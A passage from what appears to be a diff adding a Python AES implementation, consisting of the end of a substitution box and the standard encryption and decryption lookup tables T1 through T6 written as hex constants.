0xdf, 0x6e, 0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b, 0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4, 0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f, 0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef, 0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61, 0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d ] + + # Transformations for encryption + T1 = [ 0xc66363a5, 0xf87c7c84, 0xee777799, 0xf67b7b8d, 0xfff2f20d, 0xd66b6bbd, 0xde6f6fb1, 0x91c5c554, 0x60303050, 0x02010103, 0xce6767a9, 0x562b2b7d, 0xe7fefe19, 0xb5d7d762, 0x4dababe6, 0xec76769a, 0x8fcaca45, 0x1f82829d, 0x89c9c940, 0xfa7d7d87, 0xeffafa15, 0xb25959eb, 0x8e4747c9, 0xfbf0f00b, 0x41adadec, 0xb3d4d467, 0x5fa2a2fd, 0x45afafea, 0x239c9cbf, 0x53a4a4f7, 0xe4727296, 0x9bc0c05b, 0x75b7b7c2, 0xe1fdfd1c, 0x3d9393ae, 0x4c26266a, 0x6c36365a, 0x7e3f3f41, 0xf5f7f702, 0x83cccc4f, 0x6834345c, 0x51a5a5f4, 0xd1e5e534, 0xf9f1f108, 0xe2717193, 0xabd8d873, 0x62313153, 0x2a15153f, 0x0804040c, 0x95c7c752, 0x46232365, 0x9dc3c35e, 0x30181828, 0x379696a1, 0x0a05050f, 0x2f9a9ab5, 0x0e070709, 0x24121236, 0x1b80809b, 0xdfe2e23d, 0xcdebeb26, 0x4e272769, 0x7fb2b2cd, 0xea75759f, 0x1209091b, 0x1d83839e, 0x582c2c74, 0x341a1a2e, 0x361b1b2d, 0xdc6e6eb2, 0xb45a5aee, 0x5ba0a0fb, 0xa45252f6, 0x763b3b4d, 0xb7d6d661, 0x7db3b3ce, 0x5229297b, 0xdde3e33e, 0x5e2f2f71, 0x13848497, 0xa65353f5, 0xb9d1d168, 0x00000000, 0xc1eded2c, 0x40202060, 0xe3fcfc1f, 0x79b1b1c8, 0xb65b5bed, 0xd46a6abe, 0x8dcbcb46, 0x67bebed9, 0x7239394b, 0x944a4ade, 0x984c4cd4, 0xb05858e8, 0x85cfcf4a, 0xbbd0d06b, 0xc5efef2a, 0x4faaaae5, 0xedfbfb16, 0x864343c5, 0x9a4d4dd7, 0x66333355, 0x11858594, 0x8a4545cf, 0xe9f9f910, 0x04020206, 0xfe7f7f81, 0xa05050f0, 0x783c3c44, 0x259f9fba, 0x4ba8a8e3, 0xa25151f3, 0x5da3a3fe, 0x804040c0, 0x058f8f8a, 0x3f9292ad, 0x219d9dbc, 0x70383848, 0xf1f5f504, 0x63bcbcdf, 0x77b6b6c1, 0xafdada75, 0x42212163, 0x20101030, 0xe5ffff1a, 0xfdf3f30e, 0xbfd2d26d, 0x81cdcd4c, 0x180c0c14, 0x26131335, 0xc3ecec2f, 0xbe5f5fe1, 0x359797a2, 0x884444cc, 0x2e171739, 0x93c4c457, 0x55a7a7f2, 0xfc7e7e82, 0x7a3d3d47, 0xc86464ac, 0xba5d5de7, 0x3219192b, 0xe6737395, 0xc06060a0, 0x19818198, 0x9e4f4fd1, 0xa3dcdc7f, 0x44222266, 0x542a2a7e, 0x3b9090ab, 0x0b888883, 0x8c4646ca, 0xc7eeee29, 0x6bb8b8d3, 0x2814143c, 0xa7dede79, 0xbc5e5ee2, 0x160b0b1d, 0xaddbdb76, 0xdbe0e03b, 0x64323256, 0x743a3a4e, 0x140a0a1e, 0x924949db, 0x0c06060a, 0x4824246c, 0xb85c5ce4, 0x9fc2c25d, 0xbdd3d36e, 0x43acacef, 0xc46262a6, 0x399191a8, 0x319595a4, 0xd3e4e437, 0xf279798b, 0xd5e7e732, 0x8bc8c843, 0x6e373759, 0xda6d6db7, 0x018d8d8c, 0xb1d5d564, 0x9c4e4ed2, 0x49a9a9e0, 0xd86c6cb4, 0xac5656fa, 0xf3f4f407, 0xcfeaea25, 0xca6565af, 0xf47a7a8e, 0x47aeaee9, 0x10080818, 0x6fbabad5, 0xf0787888, 0x4a25256f, 0x5c2e2e72, 0x381c1c24, 0x57a6a6f1, 0x73b4b4c7, 0x97c6c651, 0xcbe8e823, 0xa1dddd7c, 0xe874749c, 0x3e1f1f21, 0x964b4bdd, 0x61bdbddc, 0x0d8b8b86, 0x0f8a8a85, 0xe0707090, 0x7c3e3e42, 0x71b5b5c4, 0xcc6666aa, 0x904848d8, 0x06030305, 0xf7f6f601, 0x1c0e0e12, 0xc26161a3, 0x6a35355f, 0xae5757f9, 0x69b9b9d0, 0x17868691, 0x99c1c158, 0x3a1d1d27, 0x279e9eb9, 0xd9e1e138, 0xebf8f813, 0x2b9898b3, 0x22111133, 0xd26969bb, 0xa9d9d970, 0x078e8e89, 0x339494a7, 0x2d9b9bb6, 0x3c1e1e22, 0x15878792, 0xc9e9e920, 0x87cece49, 0xaa5555ff, 0x50282878, 0xa5dfdf7a, 0x038c8c8f, 0x59a1a1f8, 0x09898980, 0x1a0d0d17, 0x65bfbfda, 0xd7e6e631, 0x844242c6, 0xd06868b8, 0x824141c3, 0x299999b0, 0x5a2d2d77, 0x1e0f0f11, 0x7bb0b0cb, 0xa85454fc, 0x6dbbbbd6, 0x2c16163a ] + T2 = [ 0xa5c66363, 0x84f87c7c, 0x99ee7777, 0x8df67b7b, 0x0dfff2f2, 0xbdd66b6b, 0xb1de6f6f, 0x5491c5c5, 0x50603030, 0x03020101, 0xa9ce6767, 0x7d562b2b, 0x19e7fefe, 0x62b5d7d7, 0xe64dabab, 0x9aec7676, 0x458fcaca, 0x9d1f8282, 0x4089c9c9, 0x87fa7d7d, 0x15effafa, 0xebb25959, 0xc98e4747, 0x0bfbf0f0, 0xec41adad, 0x67b3d4d4, 0xfd5fa2a2, 0xea45afaf, 0xbf239c9c, 0xf753a4a4, 0x96e47272, 0x5b9bc0c0, 0xc275b7b7, 0x1ce1fdfd, 0xae3d9393, 0x6a4c2626, 0x5a6c3636, 0x417e3f3f, 0x02f5f7f7, 0x4f83cccc, 0x5c683434, 0xf451a5a5, 0x34d1e5e5, 0x08f9f1f1, 0x93e27171, 0x73abd8d8, 0x53623131, 0x3f2a1515, 0x0c080404, 0x5295c7c7, 0x65462323, 0x5e9dc3c3, 0x28301818, 0xa1379696, 0x0f0a0505, 0xb52f9a9a, 0x090e0707, 0x36241212, 0x9b1b8080, 0x3ddfe2e2, 0x26cdebeb, 0x694e2727, 0xcd7fb2b2, 0x9fea7575, 0x1b120909, 0x9e1d8383, 0x74582c2c, 0x2e341a1a, 0x2d361b1b, 0xb2dc6e6e, 0xeeb45a5a, 0xfb5ba0a0, 0xf6a45252, 0x4d763b3b, 0x61b7d6d6, 0xce7db3b3, 0x7b522929, 0x3edde3e3, 0x715e2f2f, 0x97138484, 0xf5a65353, 0x68b9d1d1, 0x00000000, 0x2cc1eded, 0x60402020, 0x1fe3fcfc, 0xc879b1b1, 0xedb65b5b, 0xbed46a6a, 0x468dcbcb, 0xd967bebe, 0x4b723939, 0xde944a4a, 0xd4984c4c, 0xe8b05858, 0x4a85cfcf, 0x6bbbd0d0, 0x2ac5efef, 0xe54faaaa, 0x16edfbfb, 0xc5864343, 0xd79a4d4d, 0x55663333, 0x94118585, 0xcf8a4545, 0x10e9f9f9, 0x06040202, 0x81fe7f7f, 0xf0a05050, 0x44783c3c, 0xba259f9f, 0xe34ba8a8, 0xf3a25151, 0xfe5da3a3, 0xc0804040, 0x8a058f8f, 0xad3f9292, 0xbc219d9d, 0x48703838, 0x04f1f5f5, 0xdf63bcbc, 0xc177b6b6, 0x75afdada, 0x63422121, 0x30201010, 0x1ae5ffff, 0x0efdf3f3, 0x6dbfd2d2, 0x4c81cdcd, 0x14180c0c, 0x35261313, 0x2fc3ecec, 0xe1be5f5f, 0xa2359797, 0xcc884444, 0x392e1717, 0x5793c4c4, 0xf255a7a7, 0x82fc7e7e, 0x477a3d3d, 0xacc86464, 0xe7ba5d5d, 0x2b321919, 0x95e67373, 0xa0c06060, 0x98198181, 0xd19e4f4f, 0x7fa3dcdc, 0x66442222, 0x7e542a2a, 0xab3b9090, 0x830b8888, 0xca8c4646, 0x29c7eeee, 0xd36bb8b8, 0x3c281414, 0x79a7dede, 0xe2bc5e5e, 0x1d160b0b, 0x76addbdb, 0x3bdbe0e0, 0x56643232, 0x4e743a3a, 0x1e140a0a, 0xdb924949, 0x0a0c0606, 0x6c482424, 0xe4b85c5c, 0x5d9fc2c2, 0x6ebdd3d3, 0xef43acac, 0xa6c46262, 0xa8399191, 0xa4319595, 0x37d3e4e4, 0x8bf27979, 0x32d5e7e7, 0x438bc8c8, 0x596e3737, 0xb7da6d6d, 0x8c018d8d, 0x64b1d5d5, 0xd29c4e4e, 0xe049a9a9, 0xb4d86c6c, 0xfaac5656, 0x07f3f4f4, 0x25cfeaea, 0xafca6565, 0x8ef47a7a, 0xe947aeae, 0x18100808, 0xd56fbaba, 0x88f07878, 0x6f4a2525, 0x725c2e2e, 0x24381c1c, 0xf157a6a6, 0xc773b4b4, 0x5197c6c6, 0x23cbe8e8, 0x7ca1dddd, 0x9ce87474, 0x213e1f1f, 0xdd964b4b, 0xdc61bdbd, 0x860d8b8b, 0x850f8a8a, 0x90e07070, 0x427c3e3e, 0xc471b5b5, 0xaacc6666, 0xd8904848, 0x05060303, 0x01f7f6f6, 0x121c0e0e, 0xa3c26161, 0x5f6a3535, 0xf9ae5757, 0xd069b9b9, 0x91178686, 0x5899c1c1, 0x273a1d1d, 0xb9279e9e, 0x38d9e1e1, 0x13ebf8f8, 0xb32b9898, 0x33221111, 0xbbd26969, 0x70a9d9d9, 0x89078e8e, 0xa7339494, 0xb62d9b9b, 0x223c1e1e, 0x92158787, 0x20c9e9e9, 0x4987cece, 0xffaa5555, 0x78502828, 0x7aa5dfdf, 0x8f038c8c, 0xf859a1a1, 0x80098989, 0x171a0d0d, 0xda65bfbf, 0x31d7e6e6, 0xc6844242, 0xb8d06868, 0xc3824141, 0xb0299999, 0x775a2d2d, 0x111e0f0f, 0xcb7bb0b0, 0xfca85454, 0xd66dbbbb, 0x3a2c1616 ] + T3 = [ 0x63a5c663, 0x7c84f87c, 0x7799ee77, 0x7b8df67b, 0xf20dfff2, 0x6bbdd66b, 0x6fb1de6f, 0xc55491c5, 0x30506030, 0x01030201, 0x67a9ce67, 0x2b7d562b, 0xfe19e7fe, 0xd762b5d7, 0xabe64dab, 0x769aec76, 0xca458fca, 0x829d1f82, 0xc94089c9, 0x7d87fa7d, 0xfa15effa, 0x59ebb259, 0x47c98e47, 0xf00bfbf0, 0xadec41ad, 0xd467b3d4, 0xa2fd5fa2, 0xafea45af, 0x9cbf239c, 0xa4f753a4, 0x7296e472, 0xc05b9bc0, 0xb7c275b7, 0xfd1ce1fd, 0x93ae3d93, 0x266a4c26, 0x365a6c36, 0x3f417e3f, 0xf702f5f7, 0xcc4f83cc, 0x345c6834, 0xa5f451a5, 0xe534d1e5, 0xf108f9f1, 0x7193e271, 0xd873abd8, 0x31536231, 0x153f2a15, 0x040c0804, 0xc75295c7, 0x23654623, 0xc35e9dc3, 0x18283018, 0x96a13796, 0x050f0a05, 0x9ab52f9a, 0x07090e07, 0x12362412, 0x809b1b80, 0xe23ddfe2, 0xeb26cdeb, 0x27694e27, 0xb2cd7fb2, 0x759fea75, 0x091b1209, 0x839e1d83, 0x2c74582c, 0x1a2e341a, 0x1b2d361b, 0x6eb2dc6e, 0x5aeeb45a, 0xa0fb5ba0, 0x52f6a452, 0x3b4d763b, 0xd661b7d6, 0xb3ce7db3, 0x297b5229, 0xe33edde3, 0x2f715e2f, 0x84971384, 0x53f5a653, 0xd168b9d1, 0x00000000, 0xed2cc1ed, 0x20604020, 0xfc1fe3fc, 0xb1c879b1, 0x5bedb65b, 0x6abed46a, 0xcb468dcb, 0xbed967be, 0x394b7239, 0x4ade944a, 0x4cd4984c, 0x58e8b058, 0xcf4a85cf, 0xd06bbbd0, 0xef2ac5ef, 0xaae54faa, 0xfb16edfb, 0x43c58643, 0x4dd79a4d, 0x33556633, 0x85941185, 0x45cf8a45, 0xf910e9f9, 0x02060402, 0x7f81fe7f, 0x50f0a050, 0x3c44783c, 0x9fba259f, 0xa8e34ba8, 0x51f3a251, 0xa3fe5da3, 0x40c08040, 0x8f8a058f, 0x92ad3f92, 0x9dbc219d, 0x38487038, 0xf504f1f5, 0xbcdf63bc, 0xb6c177b6, 0xda75afda, 0x21634221, 0x10302010, 0xff1ae5ff, 0xf30efdf3, 0xd26dbfd2, 0xcd4c81cd, 0x0c14180c, 0x13352613, 0xec2fc3ec, 0x5fe1be5f, 0x97a23597, 0x44cc8844, 0x17392e17, 0xc45793c4, 0xa7f255a7, 0x7e82fc7e, 0x3d477a3d, 0x64acc864, 0x5de7ba5d, 0x192b3219, 0x7395e673, 0x60a0c060, 0x81981981, 0x4fd19e4f, 0xdc7fa3dc, 0x22664422, 0x2a7e542a, 0x90ab3b90, 0x88830b88, 0x46ca8c46, 0xee29c7ee, 0xb8d36bb8, 0x143c2814, 0xde79a7de, 0x5ee2bc5e, 0x0b1d160b, 0xdb76addb, 0xe03bdbe0, 0x32566432, 0x3a4e743a, 0x0a1e140a, 0x49db9249, 0x060a0c06, 0x246c4824, 0x5ce4b85c, 0xc25d9fc2, 0xd36ebdd3, 0xacef43ac, 0x62a6c462, 0x91a83991, 0x95a43195, 0xe437d3e4, 0x798bf279, 0xe732d5e7, 0xc8438bc8, 0x37596e37, 0x6db7da6d, 0x8d8c018d, 0xd564b1d5, 0x4ed29c4e, 0xa9e049a9, 0x6cb4d86c, 0x56faac56, 0xf407f3f4, 0xea25cfea, 0x65afca65, 0x7a8ef47a, 0xaee947ae, 0x08181008, 0xbad56fba, 0x7888f078, 0x256f4a25, 0x2e725c2e, 0x1c24381c, 0xa6f157a6, 0xb4c773b4, 0xc65197c6, 0xe823cbe8, 0xdd7ca1dd, 0x749ce874, 0x1f213e1f, 0x4bdd964b, 0xbddc61bd, 0x8b860d8b, 0x8a850f8a, 0x7090e070, 0x3e427c3e, 0xb5c471b5, 0x66aacc66, 0x48d89048, 0x03050603, 0xf601f7f6, 0x0e121c0e, 0x61a3c261, 0x355f6a35, 0x57f9ae57, 0xb9d069b9, 0x86911786, 0xc15899c1, 0x1d273a1d, 0x9eb9279e, 0xe138d9e1, 0xf813ebf8, 0x98b32b98, 0x11332211, 0x69bbd269, 0xd970a9d9, 0x8e89078e, 0x94a73394, 0x9bb62d9b, 0x1e223c1e, 0x87921587, 0xe920c9e9, 0xce4987ce, 0x55ffaa55, 0x28785028, 0xdf7aa5df, 0x8c8f038c, 0xa1f859a1, 0x89800989, 0x0d171a0d, 0xbfda65bf, 0xe631d7e6, 0x42c68442, 0x68b8d068, 0x41c38241, 0x99b02999, 0x2d775a2d, 0x0f111e0f, 0xb0cb7bb0, 0x54fca854, 0xbbd66dbb, 0x163a2c16 ] + T4 = [ 0x6363a5c6, 0x7c7c84f8, 0x777799ee, 0x7b7b8df6, 0xf2f20dff, 0x6b6bbdd6, 0x6f6fb1de, 0xc5c55491, 0x30305060, 0x01010302, 0x6767a9ce, 0x2b2b7d56, 0xfefe19e7, 0xd7d762b5, 0xababe64d, 0x76769aec, 0xcaca458f, 0x82829d1f, 0xc9c94089, 0x7d7d87fa, 0xfafa15ef, 0x5959ebb2, 0x4747c98e, 0xf0f00bfb, 0xadadec41, 0xd4d467b3, 0xa2a2fd5f, 0xafafea45, 0x9c9cbf23, 0xa4a4f753, 0x727296e4, 0xc0c05b9b, 0xb7b7c275, 0xfdfd1ce1, 0x9393ae3d, 0x26266a4c, 0x36365a6c, 0x3f3f417e, 0xf7f702f5, 0xcccc4f83, 0x34345c68, 0xa5a5f451, 0xe5e534d1, 0xf1f108f9, 0x717193e2, 0xd8d873ab, 0x31315362, 0x15153f2a, 0x04040c08, 0xc7c75295, 0x23236546, 0xc3c35e9d, 0x18182830, 0x9696a137, 0x05050f0a, 0x9a9ab52f, 0x0707090e, 0x12123624, 0x80809b1b, 0xe2e23ddf, 0xebeb26cd, 0x2727694e, 0xb2b2cd7f, 0x75759fea, 0x09091b12, 0x83839e1d, 0x2c2c7458, 0x1a1a2e34, 0x1b1b2d36, 0x6e6eb2dc, 0x5a5aeeb4, 0xa0a0fb5b, 0x5252f6a4, 0x3b3b4d76, 0xd6d661b7, 0xb3b3ce7d, 0x29297b52, 0xe3e33edd, 0x2f2f715e, 0x84849713, 0x5353f5a6, 0xd1d168b9, 0x00000000, 0xeded2cc1, 0x20206040, 0xfcfc1fe3, 0xb1b1c879, 0x5b5bedb6, 0x6a6abed4, 0xcbcb468d, 0xbebed967, 0x39394b72, 0x4a4ade94, 0x4c4cd498, 0x5858e8b0, 0xcfcf4a85, 0xd0d06bbb, 0xefef2ac5, 0xaaaae54f, 0xfbfb16ed, 0x4343c586, 0x4d4dd79a, 0x33335566, 0x85859411, 0x4545cf8a, 0xf9f910e9, 0x02020604, 0x7f7f81fe, 0x5050f0a0, 0x3c3c4478, 0x9f9fba25, 0xa8a8e34b, 0x5151f3a2, 0xa3a3fe5d, 0x4040c080, 0x8f8f8a05, 0x9292ad3f, 0x9d9dbc21, 0x38384870, 0xf5f504f1, 0xbcbcdf63, 0xb6b6c177, 0xdada75af, 0x21216342, 0x10103020, 0xffff1ae5, 0xf3f30efd, 0xd2d26dbf, 0xcdcd4c81, 0x0c0c1418, 0x13133526, 0xecec2fc3, 0x5f5fe1be, 0x9797a235, 0x4444cc88, 0x1717392e, 0xc4c45793, 0xa7a7f255, 0x7e7e82fc, 0x3d3d477a, 0x6464acc8, 0x5d5de7ba, 0x19192b32, 0x737395e6, 0x6060a0c0, 0x81819819, 0x4f4fd19e, 0xdcdc7fa3, 0x22226644, 0x2a2a7e54, 0x9090ab3b, 0x8888830b, 0x4646ca8c, 0xeeee29c7, 0xb8b8d36b, 0x14143c28, 0xdede79a7, 0x5e5ee2bc, 0x0b0b1d16, 0xdbdb76ad, 0xe0e03bdb, 0x32325664, 0x3a3a4e74, 0x0a0a1e14, 0x4949db92, 0x06060a0c, 0x24246c48, 0x5c5ce4b8, 0xc2c25d9f, 0xd3d36ebd, 0xacacef43, 0x6262a6c4, 0x9191a839, 0x9595a431, 0xe4e437d3, 0x79798bf2, 0xe7e732d5, 0xc8c8438b, 0x3737596e, 0x6d6db7da, 0x8d8d8c01, 0xd5d564b1, 0x4e4ed29c, 0xa9a9e049, 0x6c6cb4d8, 0x5656faac, 0xf4f407f3, 0xeaea25cf, 0x6565afca, 0x7a7a8ef4, 0xaeaee947, 0x08081810, 0xbabad56f, 0x787888f0, 0x25256f4a, 0x2e2e725c, 0x1c1c2438, 0xa6a6f157, 0xb4b4c773, 0xc6c65197, 0xe8e823cb, 0xdddd7ca1, 0x74749ce8, 0x1f1f213e, 0x4b4bdd96, 0xbdbddc61, 0x8b8b860d, 0x8a8a850f, 0x707090e0, 0x3e3e427c, 0xb5b5c471, 0x6666aacc, 0x4848d890, 0x03030506, 0xf6f601f7, 0x0e0e121c, 0x6161a3c2, 0x35355f6a, 0x5757f9ae, 0xb9b9d069, 0x86869117, 0xc1c15899, 0x1d1d273a, 0x9e9eb927, 0xe1e138d9, 0xf8f813eb, 0x9898b32b, 0x11113322, 0x6969bbd2, 0xd9d970a9, 0x8e8e8907, 0x9494a733, 0x9b9bb62d, 0x1e1e223c, 0x87879215, 0xe9e920c9, 0xcece4987, 0x5555ffaa, 0x28287850, 0xdfdf7aa5, 0x8c8c8f03, 0xa1a1f859, 0x89898009, 0x0d0d171a, 0xbfbfda65, 0xe6e631d7, 0x4242c684, 0x6868b8d0, 0x4141c382, 0x9999b029, 0x2d2d775a, 0x0f0f111e, 0xb0b0cb7b, 0x5454fca8, 0xbbbbd66d, 0x16163a2c ] + + # Transformations for decryption + T5 = [ 0x51f4a750, 0x7e416553, 0x1a17a4c3, 0x3a275e96, 0x3bab6bcb, 0x1f9d45f1, 0xacfa58ab, 0x4be30393, 0x2030fa55, 0xad766df6, 0x88cc7691, 0xf5024c25, 0x4fe5d7fc, 0xc52acbd7, 0x26354480, 0xb562a38f, 0xdeb15a49, 0x25ba1b67, 0x45ea0e98, 0x5dfec0e1, 0xc32f7502, 0x814cf012, 0x8d4697a3, 0x6bd3f9c6, 0x038f5fe7, 0x15929c95, 0xbf6d7aeb, 0x955259da, 0xd4be832d, 0x587421d3, 0x49e06929, 0x8ec9c844, 0x75c2896a, 0xf48e7978, 0x99583e6b, 0x27b971dd, 0xbee14fb6, 0xf088ad17, 0xc920ac66, 0x7dce3ab4, 0x63df4a18, 0xe51a3182, 0x97513360, 0x62537f45, 0xb16477e0, 0xbb6bae84, 0xfe81a01c, 0xf9082b94, 0x70486858, 0x8f45fd19, 0x94de6c87, 0x527bf8b7, 0xab73d323, 0x724b02e2, 0xe31f8f57, 0x6655ab2a, 0xb2eb2807, 0x2fb5c203, 0x86c57b9a, 0xd33708a5, 0x302887f2, 0x23bfa5b2, 0x02036aba, 0xed16825c, 0x8acf1c2b, 0xa779b492, 0xf307f2f0, 0x4e69e2a1, 0x65daf4cd, 0x0605bed5, 0xd134621f, 0xc4a6fe8a, 0x342e539d, 0xa2f355a0, 0x058ae132, 0xa4f6eb75, 0x0b83ec39, 0x4060efaa, 0x5e719f06, 0xbd6e1051, 0x3e218af9, 0x96dd063d, 0xdd3e05ae, 0x4de6bd46, 0x91548db5, 0x71c45d05, 0x0406d46f, 0x605015ff, 0x1998fb24, 0xd6bde997, 0x894043cc, 0x67d99e77, 0xb0e842bd, 0x07898b88, 0xe7195b38, 0x79c8eedb, 0xa17c0a47, 0x7c420fe9, 0xf8841ec9, 0x00000000, 0x09808683, 0x322bed48, 0x1e1170ac, 0x6c5a724e, 0xfd0efffb, 0x0f853856, 0x3daed51e, 0x362d3927, 0x0a0fd964, 0x685ca621, 0x9b5b54d1, 0x24362e3a, 0x0c0a67b1, 0x9357e70f, 0xb4ee96d2, 0x1b9b919e, 0x80c0c54f, 0x61dc20a2, 0x5a774b69, 0x1c121a16, 0xe293ba0a, 0xc0a02ae5, 0x3c22e043, 0x121b171d, 0x0e090d0b, 0xf28bc7ad, 0x2db6a8b9, 0x141ea9c8, 0x57f11985, 0xaf75074c, 0xee99ddbb, 0xa37f60fd, 0xf701269f, 0x5c72f5bc, 0x44663bc5, 0x5bfb7e34, 0x8b432976, 0xcb23c6dc, 0xb6edfc68, 0xb8e4f163, 0xd731dcca, 0x42638510, 0x13972240, 0x84c61120, 0x854a247d, 0xd2bb3df8, 0xaef93211, 0xc729a16d, 0x1d9e2f4b, 0xdcb230f3, 0x0d8652ec, 0x77c1e3d0, 0x2bb3166c, 0xa970b999, 0x119448fa, 0x47e96422, 0xa8fc8cc4, 0xa0f03f1a, 0x567d2cd8, 0x223390ef, 0x87494ec7, 0xd938d1c1, 0x8ccaa2fe, 0x98d40b36, 0xa6f581cf, 0xa57ade28, 0xdab78e26, 0x3fadbfa4, 0x2c3a9de4, 0x5078920d, 0x6a5fcc9b, 0x547e4662, 0xf68d13c2, 0x90d8b8e8, 0x2e39f75e, 0x82c3aff5, 0x9f5d80be, 0x69d0937c, 0x6fd52da9, 0xcf2512b3, 0xc8ac993b, 0x10187da7, 0xe89c636e, 0xdb3bbb7b, 0xcd267809, 0x6e5918f4, 0xec9ab701, 0x834f9aa8, 0xe6956e65, 0xaaffe67e, 0x21bccf08, 0xef15e8e6, 0xbae79bd9, 0x4a6f36ce, 0xea9f09d4, 0x29b07cd6, 0x31a4b2af, 0x2a3f2331, 0xc6a59430, 0x35a266c0, 0x744ebc37, 0xfc82caa6, 0xe090d0b0, 0x33a7d815, 0xf104984a, 0x41ecdaf7, 0x7fcd500e, 0x1791f62f, 0x764dd68d, 0x43efb04d, 0xccaa4d54, 0xe49604df, 0x9ed1b5e3, 0x4c6a881b, 0xc12c1fb8, 0x4665517f, 0x9d5eea04, 0x018c355d, 0xfa877473, 0xfb0b412e, 0xb3671d5a, 0x92dbd252, 0xe9105633, 0x6dd64713, 0x9ad7618c, 0x37a10c7a, 0x59f8148e, 0xeb133c89, 0xcea927ee, 0xb761c935, 0xe11ce5ed, 0x7a47b13c, 0x9cd2df59, 0x55f2733f, 0x1814ce79, 0x73c737bf, 0x53f7cdea, 0x5ffdaa5b, 0xdf3d6f14, 0x7844db86, 0xcaaff381, 0xb968c43e, 0x3824342c, 0xc2a3405f, 0x161dc372, 0xbce2250c, 0x283c498b, 0xff0d9541, 0x39a80171, 0x080cb3de, 0xd8b4e49c, 0x6456c190, 0x7bcb8461, 0xd532b670, 0x486c5c74, 0xd0b85742 ] + T6 = [ 0x5051f4a7, 0x537e4165, 0xc31a17a4, 0x963a275e, 0xcb3bab6b, 0xf11f9d45, 0xabacfa58, 0x934be303, 0x552030fa, 0xf6ad766d, 0x9188cc76, 0x25f5024c, 0xfc4fe5d7, 0xd7c52acb, 0x80263544, 0x8fb562a3, 0x49deb15a, 0x6725ba1b, 0x9845ea0e, 0xe15dfec0, 0x02c32f75, 0x12814cf0, 0xa38d4697, 0xc66bd3f9, 0xe7038f5f, 0x9515929c, 0xebbf6d7a, 0xda955259, 0x2dd4be83, 0xd3587421, 0x2949e069, 0x448ec9c8, 0x6a75c289, 0x78f48e79, 0x6b99583e, 0xdd27b971, 0xb6bee14f, 0x17f088ad, 0x66c920ac, 0xb47dce3a, 0x1863df4a, 0x82e51a31, 0x60975133, 0x4562537f, 0xe0b16477, 0x84bb6bae, 0x1cfe81a0, 0x94f9082b, 0x58704868, 0x198f45fd, 0x8794de6c, 0xb7527bf8, 0x23ab73d3, 0xe2724b02, 0x57e31f8f, 0x2a6655ab, 0x07b2eb28, 0x032fb5c2, 0x9a86c57b, 0xa5d33708, 0xf2302887, 0xb223bfa5, 0xba02036a, 0x5ced1682, 0x2b8acf1c, 0x92a779b4, 0xf0f307f2, 0xa14e69e2, 0xcd65daf4, 0xd50605be, 0x1fd13462, 0x8ac4a6fe, 0x9d342e53, 0xa0a2f355, 0x32058ae1, 0x75a4f6eb, 0x390b83ec, 0xaa4060ef, 0x065e719f, 0x51bd6e10, 0xf93e218a, 0x3d96dd06, 0xaedd3e05, 0x464de6bd, 0xb591548d, 0x0571c45d, 0x6f0406d4, 0xff605015, 0x241998fb, 0x97d6bde9, 0xcc894043, 0x7767d99e, 0xbdb0e842, 0x8807898b, 0x38e7195b, 0xdb79c8ee, 0x47a17c0a, 0xe97c420f, 0xc9f8841e, 0x00000000, 0x83098086, 0x48322bed, 0xac1e1170, 0x4e6c5a72, 0xfbfd0eff, 0x560f8538, 0x1e3daed5, 0x27362d39, 0x640a0fd9, 0x21685ca6, 0xd19b5b54, 0x3a24362e, 0xb10c0a67, 0x0f9357e7, 0xd2b4ee96, 0x9e1b9b91, 0x4f80c0c5, 0xa261dc20, 0x695a774b, 0x161c121a, 0x0ae293ba, 0xe5c0a02a, 0x433c22e0, 0x1d121b17, 0x0b0e090d, 0xadf28bc7, 0xb92db6a8, 0xc8141ea9, 0x8557f119, 0x4caf7507, 0xbbee99dd, 0xfda37f60, 0x9ff70126, 0xbc5c72f5, 0xc544663b, 0x345bfb7e, 0x768b4329, 0xdccb23c6, 0x68b6edfc, 0x63b8e4f1, 0xcad731dc, 0x10426385, 0x40139722, 0x2084c611, 0x7d854a24, 0xf8d2bb3d, 0x11aef932, 0x6dc729a1, 0x4b1d9e2f, 0xf3dcb230, 0xec0d8652, 0xd077c1e3, 0x6c2bb316, 0x99a970b9, 0xfa119448, 0x2247e964, 0xc4a8fc8c, 0x1aa0f03f, 0xd8567d2c, 0xef223390, 0xc787494e, 0xc1d938d1, 0xfe8ccaa2, 0x3698d40b, 0xcfa6f581, 0x28a57ade, 0x26dab78e, 0xa43fadbf, 0xe42c3a9d, 0x0d507892, 0x9b6a5fcc, 0x62547e46, 0xc2f68d13, 0xe890d8b8, 0x5e2e39f7, 0xf582c3af, 0xbe9f5d80, 0x7c69d093, 0xa96fd52d, 0xb3cf2512, 0x3bc8ac99, 0xa710187d, 0x6ee89c63, 0x7bdb3bbb, 0x09cd2678, 0xf46e5918, 0x01ec9ab7, 0xa8834f9a, 0x65e6956e, 0x7eaaffe6, 0x0821bccf, 0xe6ef15e8, 0xd9bae79b, 0xce4a6f36, 0xd4ea9f09, 0xd629b07c, 0xaf31a4b2, 0x312a3f23, 0x30c6a594, 0xc035a266, 0x37744ebc, 0xa6fc82ca, 0xb0e090d0, 0x1533a7d8, 0x4af10498, 0xf741ecda, 0x0e7fcd50, 0x2f1791f6, 0x8d764dd6, 0x4d43efb0, 0x54ccaa4d, 0xdfe49604, 0xe39ed1b5, 0x1b4c6a88, 0xb8c12c1f, 0x7f466551, 0x049d5eea, 0x5d018c35, 0x73fa8774, 0x2efb0b41, 0x5ab3671d, 0x5292dbd2, 0x33e91056, 0x136dd647, 0x8c9ad761, 0x7a37a10c, 0x8e59f814, 0x89eb133c, 0xeecea927, 0x35b761c9, 0xede11ce5, 0x3c7a47b1, 0x599cd2df, 0x3f55f273, 0x791814ce, 